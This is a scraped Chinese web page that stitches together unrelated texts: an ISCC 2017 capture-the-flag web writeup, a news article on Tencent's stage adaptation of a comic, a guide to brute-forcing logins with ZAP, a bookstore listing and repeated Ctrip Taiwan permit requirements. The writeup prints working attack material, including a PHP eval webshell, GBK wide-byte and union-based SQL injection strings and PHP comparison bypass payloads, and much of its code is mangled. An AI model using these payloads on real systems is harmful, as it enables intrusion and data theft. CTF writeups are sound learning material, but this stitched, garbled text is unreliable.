ISCC 2017 Web writeup
时间： 12:37:11
&&&& 阅读：457
&&&& 评论：
&&&& 收藏：0
标签：&&&&&&&&&&&&&&&&&&&&&&&&&&&
ISCC 2017 Web writeup
这种签到题不能往难了想，首先理所当然的这样传参
hiddenflag=f1ag&flag=f1ag
这回显不一样了，试了很多方法，最后就是再加一个参数FLAG=f1ag，然后就成了，完全没有逻辑。。。
WelcomeToMySQL
首先上传一句话，格式为php5，菜刀连上
然后看base.php：
$servername="localhost";
$username="iscc2017";
$password="iscc2017";
$db="flag";
$tb="flag";?&
根据信息访问这个服务器的数据库，拿到flag
&!--$v1=0;$v2=0;$v3=0;$a=(array)json_decode(@$_GET[‘iscc‘]); if(is_array($a)){
is_numeric(@$a["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
($a["bar1"]&2016)?$v1=1:NULL;
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("nudt", $a["bar2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=&$val){
$val==="nudt"?die("nope"):NULL;
}$c=@$_GET[‘cat‘];
$d=@$_GET[‘dog‘];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "isccctf2017")?$v3=1:NULL;
}}if($v1 && $v2 && $v3){
就是反复的用一些PHP的函数漏洞，弱等于
第一个参数iscc为JSON格式的
bar1要求不是数字又要比2016大，这用到了PHP中字符串和数字型比较的时候先会用intval()函数做转换，所以bar1:2017a
bar2要求是数组，长度为5，并且第一位还是个数组，并且其中要有"nudt"，这里用到字符串弱等于0，所以这五个元素中要有0存在
eregi可以使用%00截断绕过，所以dog=%00,cat[0]=34567isccctf2017
strcmp传参为数组的时候返回NULL，所以cat[1][]=1111
最后payload:
iscc={%22bar1%22:%222017e%22,%22bar2%22:[[1],1,2,3,0]}&cat[0]=34567isccctf2017&cat[1][]=1111&dog=%00
我们一起来日站
首先扫目录，发现有robots.txt
找到admin.php，简单注入，拿到flag
I have a jpg,i upload a txt.
这题有两个关键：
1、破解这个KaIsA（凯撒）加密函数
2、怎么绕过文件内容检测传shell
对于第一个问题，可以通过
$re=KaIsA(base64_encode(serialize(array($filetype,$filename))),6);
可以获取加密后的字符串，然后观察比对，发现这是个变种的凯撒加密，小写字母左移6位，大写字母右移6位，数字不动，这是加密代码：
def kaisai(s):
for i in range(len(s)):
if s[i]&=‘a‘ and s[i]&=‘z‘:
t=ord(s[i])-6
re+=chr(t-97+123)
if(t&122):
re+=chr(t-122+96)
re+=chr(t)
if s[i]&=‘A‘ and s[i]&=‘Z‘:
t=ord(s[i])+6
re+=chr(t-65+91)
re+=chr(t-90+64)
re+=chr(t)
if s[i]&=‘0‘ and s[i]&=‘9‘:
print(re)a=""kaisai(a)
第二步要绕过这个文件内容检测，可以通过多次上传的方式，依次将一句话传上去，但是这个数组只能有两位，所以想到php短标签，将一句话分为这两部分：
&和? eval($_POST[‘cmd‘]);
上传之后利用fwrite将两个文件和为一个txt
&?php$a[1]="";
echo base64_encode(serialize($a));?&
a[1]和a[2]是上传之后的文件名，然后凯撒加密后提交，得到完整shell的txt格式文件，接下来将之rename为php：
$a[0]="php";
echo base64_encode(serialize($a));?&
加密后提交，访问这个页面，访问后可以直接得到flag（注意有302重定向）
where is your flag
先扫目录，没有发现，然后找到了flag.php，看了半天结果还是什么都没有。抓个包，看到了这个：
结合题目的意思，猜测可能是gbk宽字节注入，接下来就要找注入点了，这里脑洞了半天猜参数，flag，id等等，最后发现是id。
后面的注入就套路了，也没有什么过滤：
id=%df‘ union select 1,group_concat(schema_name) from information_schema.schemata%23
id=%df‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=0xf626f7473%23%df‘ union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167%23%df‘ union select 1,convert(thisisflag using gbk) from flag%23 # 注意页面编码和数据库编码不一致，需要绕过
Simple sqli
这题首先是猜后台逻辑，可能是这么写的。
$name=$_POST[‘username‘];$pw=md5($_POST[‘password‘]);$sql="select password from users where name=".$name;$result=mysql_fetch_array(mysql_query($sql));if($result[‘password‘]){
if(!strcasecmp($result[‘password‘],$pw))
echo $flag;
echo "password error";}else{
"username error";
这题南邮有原题
最后username=admin‘ and 1=2 union select md5(1)#&password=1
标签：&&&&&&&&&&&&&&&&&&&&&&&&&&&原文：http://www.cnblogs.com/zaki-Gui/p/7115850.html
教程昨日排行
&&国之画&&&& &&&&&&
&& &&&&&&&&&&&&&&
鲁ICP备号-4
打开技术之扣，分享程序人生！腾讯影业《我叫白小飞》试水舞台剧 二次元不再是小众
[摘要]&各大互联网巨头布局已久，传统企业纷纷转型。徐小平、王强等创立的真格基金、创新工场、早鸟投资都已经在动漫行业有了较为深入的投资布局。
时代周报特约记者 袁方晨 发自上海
7月15日，由腾讯影业、开心麻花（835099）共同出品的舞台剧《我叫白小飞》在上海首演。该剧改编自国漫《我叫白小飞》（《尸兄》 ），其2011年开始连载，2013年动画化成功，点击破100亿。此次的&真人化&，成为国内资本打破&次元壁&的一次重要尝试。
自腾讯影业于去年9月17日成立以来，公布了众多有关腾讯（00700）自家内容影视化的项目。如今，各项计划终于有一项正式上线，并以舞台剧形式呈现。&这是一种非常好的IP开发的方式，对于《我叫白小飞》这种题材而言特别的合适，而且也确实为我们在未来奠定了信心。为未来的网络剧和电影，找到了更好的一种面向大众的表达方式。&腾讯影业副总经理陈洪伟对时代周报记者说。
该项目对于腾讯影业来说意义非凡，被认为是其基于IP&不孤立做电影&的重要实践。不过，腾讯影业大胆地将目标群体定为了购买力较弱的90后和00后，接下来的问题是如何变现。
躲不开的二次元
《我叫白小飞》项目由来已久。在漫画点击突破50亿、动画点击突破30亿后，腾讯影业便宣布，《我叫白小飞》将被改编成舞台剧。《我叫白小飞》是腾讯旗下最早开始&泛娱乐&的内容之一。从作者七度鱼在腾讯动漫上连载的漫画开始，先后被改编成动画、游戏、玩具周边产品。
《我叫白小飞》在国漫中的地位毋庸置疑，经过一系列的孵化成长，已经成为一个相对比较成熟的IP，积累了一大批的死忠粉丝。在B站，甚至连用户自发上传的动漫主题曲MV改编，都能录得过千评论，由此可见《我叫白小飞》的人气。
而开心麻花的参与也有自己的考虑&把漫改舞台剧作为吸引新一代观众的方式，特别是以90后为主的二次元用户。从二次元的发展趋势来看，这是站稳未来新生代市场的重要举措。
开心麻花团队《我叫白小飞》舞台剧制作人刘依欢对时代周报记者说，&对麻花来说在意的是受众的转变，《我叫白小飞》动漫的观众跟麻花常规剧场的观众在年龄层和消费习惯上都还是有所区别的&。
所谓二次元，现常用于指ACG领域所在的平面世界，包括动画（Animation）、漫画（Comic）、游戏（Game）等一系列平面的视界产物，与之相对的三次元则是指现实世界。
目前的二次元已经脱离了原本以动画、漫画等平面的媒体，并派生出与主流文化相对独立的次文化体系。这种与主流文化相对独立的次文化体系亦被称之为&二次元文化&。
艾瑞咨询数据显示，从人员构成来看，15-30岁的消费新生代在二次元用户中的占比极高。数据显示，90后占比达到了78.50%；学生党占比高达80.8%。成长中的未来消费主力群体是推动产业持续扩容的基础。
根据易观智库的数据，中国的核心二次元用户超过1.5亿人，二次元用户总人数将突破3.5亿人，国产动漫覆盖率超70%。随着中国互联网用户对二次元文化的接受度提升，中国活跃二次元内容消费者将保持稳定增长。预计2016年，中国互联网活跃二次元内容消费者规模将达到568万人，此外边缘活跃二次元内容消费者规模将达到8028万人。
2015年8月，为期4天的上海China Joy公众会展合计吸引了27.3万人次的参观者，同期增长2万人次；其中8月1日入场人次达8.1万，创China Joy单日流量之最。共吸引全球超700家厂商参展，展出互动娱乐产品近4000款。
&二次元文化没有被大家更多的认识到，但它其实已经不是小众文化了。现在社会是多元文化，所谓的二次元你会发现里面不仅仅是包括动漫，还包括游戏、网络文学，以及很多的这种内容，其实非常的大众化。&陈洪伟认为打破&次元壁&其实非常简单，虽然二次元还没被广泛意识到，但可能已经非常大众化了，这就好比大家并不会感觉到移动互联网的&存在&，因为互联网已然是我们的空气、阳光和水了。
资本抢滩IP运营
最近几年，以IP为核心的内容产业快速发展，泛娱乐一词经常被提起，从2013年、2014年IP概念成为风口，到2015年二次元经济成为泛娱乐产业重要一环。
平安证券分析师魏伟认为，就国内目前状态来看，由于电影和游戏拥有最成熟的商业模式，成为产业链中最好的变现端。2015年动画电影迎来了爆发，受到越来越多的市场认可。《大圣归来》和《十万个冷笑话》取得了瞩目的票房成绩。
中信证券研报则认为，根据成熟市场经验，二次元产业价值放大的方式主要有两种，一种是基于超级IP 的工业衍生品和动漫形象代言品，放大倍数3-6倍；第二种是受众群体的扩张，跨媒介和文化产品的移植，如改编真人电影、游戏化等，放大倍数可逾10倍。真人电影也成了近几年国内资本进行动漫IP运营的热门电影。
作为国内顶尖的动漫产业基地，&有妖气&将点击量高达7.3亿的人气国漫《雏蜂》搬上动画舞台，而且远渡日本，完成国产动画反输出到日本的逆袭，这在国内尚属首例。除此之外，从2009年孙恒创作的漫画连载于有妖气原创漫画梦工厂，到明年将上映的《雏蜂》真人电影，有妖气完成了IP《雏蜂》的线上线下全产业链联动开发，包括线上漫画、动画、游戏、音乐、线下图书、周边产品、电影等。
腾讯在IP《我叫白小飞》上的泛娱乐布局始于2014年。公开资料显示，2014年，腾讯动漫开始加大对国漫内容的投入力度，以百万年薪签下《尸兄》（现更名《我叫白小飞》）的作者七度鱼。同年，《尸兄》向龙图游戏进行了手游授权。2015年7月，《尸兄》手游在China Joy上正式发布。而现在，除了与开心麻花合作的舞台剧尝试，腾讯还在探索电影和网剧的可能性。
要实现国漫IP的成功运营，前提是拥有一个优质IP。有妖气和腾讯无一例外选择了较大影响力的国漫IP。根据艾瑞咨询数据，分别有10.1%、2.1%的用户选择《尸兄》和《雏蜂》，分别占据&用户最喜欢的国漫作品TOP10&中的第3、第7。
&其实选择具体的IP，从我们的角度来说非常个人化。因为腾讯平台上面动漫、游戏内容也很多，我们从这里面去选择我们真的觉得有趣的，真的好玩的去推进。然后特别谨慎地、冷静地思考是不是一定能够做成话剧，或者是不是一定能够做成网络剧，能不能做成电影。&陈洪伟对时代周报记者说。
市场上大量资金已经进入泛二次元经济。魏伟认为，泛二次元内容产品属于资金和知识密集型的体验性服务产品，经济成本较大，资金需求强烈，资本的进入能很好地带动产业的增长。
各大互联网巨头布局已久，传统企业纷纷转型。徐小平、王强等创立的真格基金、创新工场、早鸟投资都已经在动漫行业有了较为深入的投资布局。
腾讯在2012年开始布局动漫业务，拥有国内近一半的国产动漫版权，2015年初，腾讯动漫在动画方面投入是6000万元，漫画是3000万元。随后在11月成立了聚星基金，规模3亿元，面向作者和工作室。2016年，腾讯动漫围绕二次元经济，宣布了与哔哩哔哩、讲谈社、集英社、凯撒股份等重要合作。
阿里巴巴以45亿元收购优酷土豆，间接持有影响力巨大的二次元社区Acfun。百度旗下的爱奇艺已经成立了动漫创作公司，2015年12月宣布加速开发动漫IP。光线传媒在2015年10月成立彩条屋，公布了22部动画电影计划。奥飞动漫投资了布卡漫画后，在2015年9月收购了国内最大原创漫画网站有妖气，将&十万个冷笑话&&雏蜂&在内的IP 纳入囊中，发展空间持续扩张。
5月27日，《我叫白小飞》舞台剧发布会在QQ空间同步直播，最终根据数据流量的统计广告价值上千万元。而在去年，由舞台剧《夏洛特烦恼》改编的同名电影最终票房超过14亿元，使得幕后公司开心麻花在资本市场一夜爆红。这些数据，似乎为《我是白小飞》的前景带来了更多想象空间。
您可能也感兴趣:
官方微博/微信
每日头条、业界资讯、热点资讯、八卦爆料，全天跟踪微博播报。各种爆料、内幕、花边、资讯一网打尽。百万互联网粉丝互动参与，TechWeb官方微博期待您的关注。
↑扫描二维码
想在手机上看科技资讯和科技八卦吗？想第一时间看独家爆料和深度报道吗？请关注TechWeb官方微信公众帐号：1.用手机扫左侧二维码；2.在添加朋友里，搜索关注TechWeb。
Copyright (C)
All rights reserved. 京ICP证060517号/京ICP备号 京公网安备76号
TechWeb公众号
机情秀公众号下载安装包，我已经放在了百度网盘中版本为windowsX64 2.7.0，有需要的可以去地址下载：https://pan.baidu.com/s/1S4yDP7aFiEzSO41c_817vQ
由于ZAP工具是基于java的，所以电脑必须安装并配置jdk环境，我安装的是1.8.0；
安装和使用：安装包是.exe的，一路Next即可，打开后样子如下：
我是在本机搭建了测试环境，本机即站点，所以要设置浏览器代理和ZAP代理，同时设置为127.0.0.1，端口号一致即可；
ZAP设置代理： 工具》选项
然后选择 Local Proxies，输入ip地址和端口号，点击OK按钮 即可；
在浏览器中进行访问本站点的网址（不可以写localhost或者127.0.0.1，要写对应的ip地址）并登陆，ZAP就可以抓到包；
在登陆url中右键，选择 Fuzz...
将需要替换的文本替换为字典后，点击 Start Fuzzer按钮，就开始进行了暴力破解；
暴力破解完成后，可以对响应的body体进行排序，一般情况下都是错误的返回，大小一致，找到不一样大小响应的请求，即为正确的用户和密码；
声明：本文内容由互联网用户自发贡献自行上传，本网站不拥有所有权，未作人工编辑处理，也不承担相关法律责任。如果您发现有涉嫌版权的内容，欢迎发送邮件至： 进行举报，并提供相关证据，工作人员会在5个工作日内联系你，一经查实，本站将立刻删除涉嫌侵权内容。&&&&Web&2.0界面设计模式
自营订单满49元（含）免运费
不足金额订单收取运费5元起
邀请好友参加吧
开 本：16开纸 张：胶版纸包 装：平装是否套装：否国际标准书号ISBN：0所属分类：&&&
下载免费当当读书APP
品味海量优质电子书，尊享优雅的阅读体验，只差手机下载一个当当读书APP
本商品暂无详情。
当当价：为商品的销售价，具体的成交价可能因会员使用优惠券、积分等发生变化，最终以订单结算页价格为准。
划线价：划线价格可能是图书封底定价、商品吊牌价、品牌专柜价或由品牌供应商提供的正品零售价（如厂商指导价、建议零售价等）或该商品曾经展示过的销售价等，由于地区、时间的差异化和市场行情波动，商品吊牌价、品牌专柜价等可能会与您购物时展示的不一致，该价格仅供您参考。
折扣：折扣指在划线价（图书定价、商品吊牌价、品牌专柜价、厂商指导价等）某一价格基础上计算出的优惠比例或优惠金额。如有疑问，您可在购买前联系客服咨询。
异常问题：如您发现活动商品销售价或促销信息有异常，请立即联系我们补正，以便您能顺利购物。
当当购物客户端手机端1元秒
当当读书客户端万本电子书免费读&&&&&&&&&&&&台湾高雄+垦丁6日5晚自由行·【暑期亲子推荐】高雄2晚垦丁3晚·垦丁深度游·垦丁凯撒大饭店儿童乐园+沙滩玩具+露天儿童泳池&&(产品编号：)
供应商：携程国旅
出发地：北京
台湾高雄+垦丁6日5晚自由行·【暑期亲子推荐】高雄2晚垦丁3晚·垦丁深度游·垦丁凯撒大饭店儿童乐园+沙滩玩具+露天儿童泳池
建议卖价:&3776
买贵退差价
暑期亲子行程~垦丁凯撒大饭店3晚，出门就是沙滩音乐吧
高雄往返航班，不去北部，只玩高雄+垦丁
高雄港停留2晚，精选热门商圈酒店，六合夜市吃到饱
抢订时间为：日 15:00-23:59，目前未到抢订时间，产品暂时不能预订。
距秒杀开始还剩01小时30分钟00秒
不接受儿童预订
儿童(2-12岁)
婴儿0-2岁(不含)
套餐总价 (2成人&0儿童)
请稍候，正在为您查询
查询中，请稍后...
最多支持9人
3.儿童入住需要遵循酒店儿童政策
4.由于航司对婴儿人数有限定，订单提交后我司会先与您确认婴儿出行信息并做申请，最终以我司回复为准
请稍候，正在为您查询
信息加载失败
该出发班期部分产品不可订
请根据自身情况选择办证所需材料&&&&&&★为必须提供的材料&&&&&&●为根据个人情况酌情提供
携程受理时间
上海收齐材料后需4个工作日
1、通行证上已加注个人旅游G签注（），且通行证满足返回大陆后仍有半年以上有效期及有效的G签注，且至少留有3张签注页；
2、非以上开放自由行城市户口，但在以上开通城市工作，有暂住证+缴纳社保满一年证明（详细请咨询所在地出入境管理局，以确定当地具体执行情况），可以在以上城市向公安局申请台湾通行证+G签注；
3、18周岁（含）至20周岁者如单独申请个人游入台证仅可以在读学生身份申请；20周岁（含）及以上者如单独申请个人游入台证可以在读学生身份、或提供财产证明方式申请；18周岁以下者必须与直系血亲（即亲生父母、祖父母、外祖父母）一同出行，作为随同亲属来申请个人游入台证。（如您是按学生身份办理，仅受理中国大陆境内的中国大陆资质学校的学生）。
*如下材料均可通过拍照上传，需注意照片清晰、不能反光；*
★大陆居民往来台湾通行证彩色扫描件（JPG格式，恕不接收PDF格式）
1、通行证照片页；
2、有效的G签注页；
3、通行证满足返回大陆后仍有6个月以上有效期；
4、至少有3张空白签注页（新版卡式通行证此项不做要求）；
★照片（JPG格式,恕不接受PDF格式）
1、24个月内2寸白底彩色证件照；
2、不接收合成、翻拍、自行电脑打印的照片；如佩戴眼镜，确保镜片没有反光，镜框不要遮住眼镜。
3、对焦需清晰鲜明，自然显现出皮肤的色调；
4、五官需清晰可见，不可被头发遮盖，脸型两侧、两耳轮廓、眉毛需清楚呈现，双唇紧闭；
5、光源需均匀且不能有影子、闪光反射在脸部，不能有红眼；
备注：若近期签发通行证，建议提供与通行证一样的白底照片；
★大陆居民身份证彩色扫描件（JPG格式，恕不接收PDF格式）
1、16周岁以上，提供正反面扫描件，脸部需清晰可辨；
2、16周岁以下，提供能体现身份证号码（000开头的身份证号码不可用）的户口簿本人信息页复印件或集体户口页复印件；
*备注：身份证有效期需在行程结束后*
★亲属关系证明彩色扫描件（JPG格式，恕不接收PDF格式）
1、子女和父母同行，提供出生证明，独生子女证，亲属关系公证书，派出所开具亲属关系证明，整本户口簿，五选一，体现与父母的亲属关系；
2、子女不和父母同行，与爷爷奶奶辈亲属同行，提供户口簿，亲属关系公证书，公安局开立的证明文件，三选一，体现与爷爷奶奶辈亲属关系；
★同意信彩色扫描件（JPG格式，恕不接收PDF格式）
未满20周岁:
1、如不与父母同行，提供父亲或母亲至少一方亲笔签名同意信；
2、提供出生证明，独生子女证，亲属关系公证书，派出所开具亲属关系证明，整本户口簿，五选一，体现与父母的亲属关系；
★大陆地区随同亲属名册彩色扫描件（JPG格式，恕不接收PDF格式）
如家庭出行，直系血亲（亲生父母、祖父母、外祖父母、子女）及配偶可作为“随同亲属”申请，由主申请人提供一份资产证明即可；旁系亲属、朋友必须分开申请，分别提供本人的资产证明及其他相关材料；
1、大陆地区随同亲属名册；
2、一组申请人只需提供一份，即主申请人提供即可，随同亲属（直系血亲或配偶）无需重复提供；
3、18周岁以下，如与非父母的直系血亲出行，另提父母亲笔签名的委托书；
★境外保险彩色扫描件（JPG格式，恕不接收PDF格式）
1、提供中国大陆保险公司出具的保单，请通过链接中所列出的单位进行投保，其余单位的保单移民署一概不受理；
2、保险合同需包含旅游伤害、突发疾病医疗及善后费用，其因意外事故死亡最低保险金额须为新台币二百万元（或人民币五十万元），因意外事故所致体伤及突发疾病所致之医疗费用最低保险金额须为新台币五十万元（或人民币十二万五千元），保险应覆盖整个台湾区域的行程天数，保单中写明申请人姓名、上述投保项目及保险额度；
3、您可在下单预订时选择购买保险（如在我司购买保险，保单由我司提供）；
*备注：保单请彩色打印，出行时和通行证，入台证一起携带；每次出行都需携带符合要求并涵盖行程的保单；*
★出行证明电子版（JPG格式）
请下载并打印版完整填写行程表；
其他注意事项
1、申请成功后携程会将您的电子入台证发送至您的邮箱内或上传到我的携程订单中，请使用分辨率不低于600dpi、可打印A4纸的彩色激光打印机单面打印的入台证和《大陆居民往来台湾通行证》出入境，出行时请将保单彩色打印出来一起携带；另提醒：出行时请携带回程或下一目的地机（船）票或证明；
2、如主申请人不出行，副申请人也无法出行；副申请人必须与主申请人同时或晚于主申请人入境（副申请人是否可正常晚入境，请自行提前与当地边防做好确认）；副申请人必须与主申请人同时或早于主申请人离境；
3、如您现有有效入台证，请先进行撤销，之后才能正常办理；
4、从事通讯行业人员申请个人游入台证，存在被移民署退件的情况，建议改申请专业、商务活动为事由；
携程受理时间
上海收齐材料后需6个工作日
1、通行证上已加注个人旅游G签注（），且通行证满足返回大陆后仍有半年以上有效期及有效的G签注，且至少留有3张签注页；
2、非以上开放自由行城市户口，但在以上开通城市工作，有暂住证+缴纳社保满一年证明（详细请咨询所在地出入境管理局，以确定当地具体执行情况），可以在以上城市向公安局申请台湾通行证+G签注；
3、18周岁（含）至20周岁者如单独申请个人游入台证仅可以在读学生身份申请；20周岁（含）及以上者如单独申请个人游入台证可以在读学生身份、或提供财产证明方式申请；18周岁以下者必须与直系血亲（即亲生父母、祖父母、外祖父母）一同出行，作为随同亲属来申请个人游入台证。（如您是按学生身份办理，仅受理中国大陆境内的中国大陆资质学校的学生）。
*如下材料均可通过拍照上传，需注意照片清晰、不能反光；*
★大陆居民往来台湾通行证彩色扫描件（JPG格式，恕不接收PDF格式）
1、通行证照片页；
2、有效的G签注页；
3、通行证满足返回大陆后仍有6个月以上有效期；
4、至少有3张空白签注页（新版卡式通行证此项不做要求）；
★照片（JPG格式,恕不接受PDF格式）
1、24个月内2寸白底彩色证件照；
2、不接收合成、翻拍、自行电脑打印的照片；如佩戴眼镜，确保镜片不能反光，镜框不要遮住眼镜；
3、对焦需清晰鲜明，自然显现出皮肤的色调；
4、五官需清晰可见，不可被头发遮盖，脸型两侧、两耳轮廓、眉毛需清楚呈现，双唇紧闭；
5、光源需均匀且不能有影子、闪光反射在脸部，不能有红眼；
备注：若近期签发通行证，建议提供与通行证一样的白底照片；
★大陆居民身份证彩色扫描件（JPG格式，恕不接收PDF格式）
1、16周岁以上，提供正反面扫描件，脸部需清晰可辨；
2、16周岁以下，提供能体现身份证号码（000开头的身份证号码不可用）的户口簿本人信息页复印件或集体户口页复印件；
*备注：身份证有效期需在行程结束后*
★亲属关系证明彩色扫描件（JPG格式，恕不接收PDF格式）
1、子女和父母同行，提供出生证明，独生子女证，亲属关系公证书，派出所开具亲属关系证明，整本户口簿，五选一，体现与父母的亲属关系；
2、子女不和父母同行，与爷爷奶奶辈亲属同行，提供户口簿，亲属关系公证书，公安局开立的证明文件，三选一，体现与爷爷奶奶辈亲属关系；
★同意信彩色扫描件（JPG格式，恕不接收PDF格式）
未满20周岁:
1、如不与父母同行，提供父亲或母亲至少一方亲笔签名同意信；
2、提供出生证明，独生子女证，亲属关系公证书，派出所开具亲属关系证明，整本户口簿，五选一，体现与父母的亲属关系；
★大陆地区随同亲属名册彩色扫描件（JPG格式，恕不接收PDF格式）
如家庭出行，直系血亲（亲生父母、祖父母、外祖父母、子女）及配偶可作为“随同亲属”申请，由主申请人提供一份资产证明即可；旁系亲属、朋友必须分开申请，分别提供本人的资产证明及其他相关材料；
1、大陆地区随同亲属名册；
2、一组申请人只需提供一份，即主申请人提供即可，随同亲属（直系血亲或配偶）无需重复提供；
3、18周岁以下，如与非父母的直系血亲出行，另提父母亲笔签名的委托书；
★境外保险彩色扫描件（JPG格式，恕不接收PDF格式）
1、提供中国大陆保险公司出具的保单，请通过链接中所列出的单位进行投保，其余单位的保单移民署一概不受理；
2、保险合同需包含旅游伤害、突发疾病医疗及善后费用，其因意外事故死亡最低保险金额须为新台币二百万元（或人民币五十万元），因意外事故所致体伤及突发疾病所致之医疗费用最低保险金额须为新台币五十万元（或人民币十二万五千元），保险应覆盖整个台湾区域的行程天数，保单中写明申请人姓名、上述投保项目及保险额度；
3、您可在下单预订时选择购买保险（如在我司购买保险，保单由我司提供）；
*备注：保单请彩色打印，出行时和通行证，入台证一起携带；每次出行都需携带符合要求并涵盖行程的保单；*
●大陆紧急联系人资料扫描件
大陆紧急联系人必须年满20岁，必须是申请人亲属，且不同时去台湾；
请提供以下大陆紧急联系人资料：
1、大陆紧急联系人身份证正反面；
2、大陆紧急联系人户口本的复印件；
其他注意事项
1、申请成功后携程会将您的电子入台证发送至您的邮箱内或上传到我的携程订单中，请携带彩色单面打印的入台证和《大陆居民往来台湾通行证》出入境，出行时请保单彩色打印出来一起携带；
2、如主申请人不出行，副申请人也无法出行；副申请人必须与主申请人同时或晚于主申请人入境（副申请人是否可正常晚入境，请自行提前与当地边防做好确认）；副申请人必须与主申请人同时或早于主申请人离境；
3、如您现有有效入台证，请先进行撤销，之后才能正常办理；
4、从事通讯行业人员申请个人游入台证，存在被移民署退件的情况，建议改申请专业、商务活动为事由；
携程受理时间
上海收齐材料后需5个工作日（等待面试日=等待配额日）
1、通行证上已加注个人旅游G签注（），且通行证满足返回大陆后仍有半年以上有效期及有效的G签注，且至少留有3张签注页；
2、非以上开放自由行城市户口，但在以上开通城市工作，有暂住证+缴纳社保满一年证明（详细请咨询所在地出入境管理局，以确定当地具体执行情况），可以在以上城市向公安局申请台湾通行证+G签注；
3、18周岁（含）至20周岁者如单独申请个人游入台证仅可以在读学生身份申请；20周岁（含）及以上者如单独申请个人游入台证可以在读学生身份、或提供财产证明方式申请；18周岁以下者必须与直系血亲（即亲生父母、祖父母、外祖父母）一同出行，作为随同亲属来申请个人游入台证。（如您是按学生身份办理，仅受理中国大陆境内的中国大陆资质学校的学生）。
*如下材料均可通过拍照上传，需注意照片清晰、不能反光；*
★大陆居民往来台湾通行证彩色电子版（JPG格式）
1、通行证照片页；
2、入境台湾时仍有效的G签注页；
3、通行证满足返回大陆后仍有6个月以上有效期；
4、至少有3张空白签注页（新版卡式通行证此项不做要求）；
*备注：提供卡式通行证的申请人，请保留好出入境签注办理收据，以便移民署通知增补；*
★照片电子版（JPG格式）
1、24个月内2寸白底彩色证件照（若近期签发通行证，建议提供与通行证一样的白底照片）；
2、不能佩戴眼镜；脸型两侧、两耳轮廓、眉毛需清楚呈现，双唇紧闭；五官需清晰可见，不可被头发遮盖；
3、不接收合成、翻拍、自行电脑打印的照片；
4、对焦需清晰鲜明，自然显现出皮肤的色调；
5、光源需均匀且不能有影子、闪光反射在脸部，不能有红眼；
★身份证彩色电子版（JPG格式）
1、16周岁以上，提供正反面扫描件，脸部需清晰可辨；
2、16周岁以下，提供能体现身份证号码（000开头的身份证号码不可用）的户口簿本人信息页复印件或集体户口页复印件；
*备注：身份证有效期需在行程结束后*
★支持性材料彩色电子版（JPG格式）
一、亲属关系证明（如有随同亲属一起申请，请提供如下证明）：
1、子女和父母同行，提供出生证明，独生子女证，亲属关系公证书，派出所开具亲属关系证明，整本户口簿，五选一，体现与父母的亲属关系；
2、未满20周岁子女不和父母同行，与爷爷奶奶辈亲属同行，提供：（1）户口簿或亲属关系公证书或公安局开立的证明文件，体现与爷爷奶奶辈亲属关系；（2）父亲或母亲至少一方亲笔签名同意信；（3）体现与父母的亲属关系：出生证明，独生子女证，亲属关系公证书，派出所开具亲属关系证明，整本户口簿，五选一；
3、夫妻同行，提供结婚证；
4、如配偶是台湾人，请提供结婚证和切结书；
二、公务员材料：
如您现/曾为国家公务员、警察、党员、海关，包括具有人大代表、政协委员及台办身份者，请据实填写切结书和工作经历：A4纸打印，签名处用黑色水笔中文签名；
三、退休人员提供退休证明彩色扫描件；
四、订房证明（未接通知暂无需提供）；
★随同亲属名册彩色电子版（JPG格式）
如家庭出行，直系血亲（亲生父母、祖父母、外祖父母、子女）及配偶可作为”随同亲属”申请，由主申请人提供一份资产证明，一组申请人只需主申请人提供一份即可，随同亲属无需重复提供；
★学校证明彩色电子版（JPG格式）
1、目前就读学校（大陆正规全日制学校）的学生证彩色扫描件，必须盖有有效期内的学校注册章；
2、近一个月内开具的在校证明彩色扫描件，须加盖学校公章
备注：学生如非单独申请，作为随同亲属申请，无需提供学校证明；
★出行证明电子版（JPG格式）
请下载并打印版完整填写行程表；
★境外保险彩色电子版（JPG格式）
1、提供中国大陆保险公司出具的保单，请通过链接中所列出的单位进行投保，其余单位的保单移民署一概不受理；
2、保险合同需包含旅游伤害、突发疾病医疗及善后费用，其因意外事故死亡最低保险金额须为新台币二百万元（或人民币五十万元），因意外事故所致体伤及突发疾病所致之医疗费用最低保险金额须为新台币五十万元（或人民币十二万五千元），保险应覆盖整个台湾区域的行程天数，保单中写明申请人姓名、上述投保项目及保险额度；
3、您可在下单预订时选择购买保险（如在我司购买保险，保单由我司提供）；
*备注：保单请彩色打印，出行时和通行证，入台证，回程或下一目的地机（船）票或证明一起携带；每次出行都需携带符合要求并涵盖行程的保单；*
其他注意事项
1、此产品为“签证+保险”优惠产品，不接受保险退订或修改，如无需保险请选择其他产品；
2、申请成功后携程会将您的电子入台证上传到我的携程订单中，请使用分辨率不低于600dpi、可打印A4纸的彩色激光打印机单面打印的入台证；出行时请携带：大陆居民往来台湾通行证，入台证彩色打印件，保单彩色打印件，回程或下一目的地机（船）票或证明；
3、如主申请人不出行，副申请人也无法出行；副申请人必须与主申请人同时或晚于主申请人入境（副申请人是否可正常晚入境，请自行提前与当地边防做好确认）；副申请人必须与主申请人同时或早于主申请人离境；
4、如您现有有效入台证，请先进行撤销，之后才能正常办理；
5、从事通讯行业人员申请个人游入台证，存在被移民署退件的情况，建议改申请专业、商务活动为事由；
6、入台证材料电子版可以扫描、拍照提供，图片需清晰，勿反光；
携程受理时间
上海收齐材料后需2个工作日
1、通行证上已加注个人旅游G签注（），且通行证满足返回大陆后仍有半年以上有效期及有效的G签注，且至少留有3张签注页；
2、非以上开放自由行城市户口，但在以上开通城市工作，有暂住证+缴纳社保满一年证明（详细请咨询所在地出入境管理局，以确定当地具体执行情况），可以在以上城市向公安局申请台湾通行证+G签注；
3、18周岁（含）至20周岁者如单独申请个人游入台证仅可以在读学生身份申请；20周岁（含）及以上者如单独申请个人游入台证可以在读学生身份、或提供财产证明方式申请；18周岁以下者必须与直系血亲（即亲生父母、祖父母、外祖父母）一同出行，作为随同亲属来申请个人游入台证。（如您是按学生身份办理，仅受理中国大陆境内的中国大陆资质学校的学生）。
*如下材料均可通过拍照上传，需注意照片清晰、不能反光；*
★大陆居民往来台湾通行证彩色电子版（JPG格式）
1、通行证照片页；
2、入境台湾时仍有效的G签注页；
3、通行证满足返回大陆后仍有6个月以上有效期；
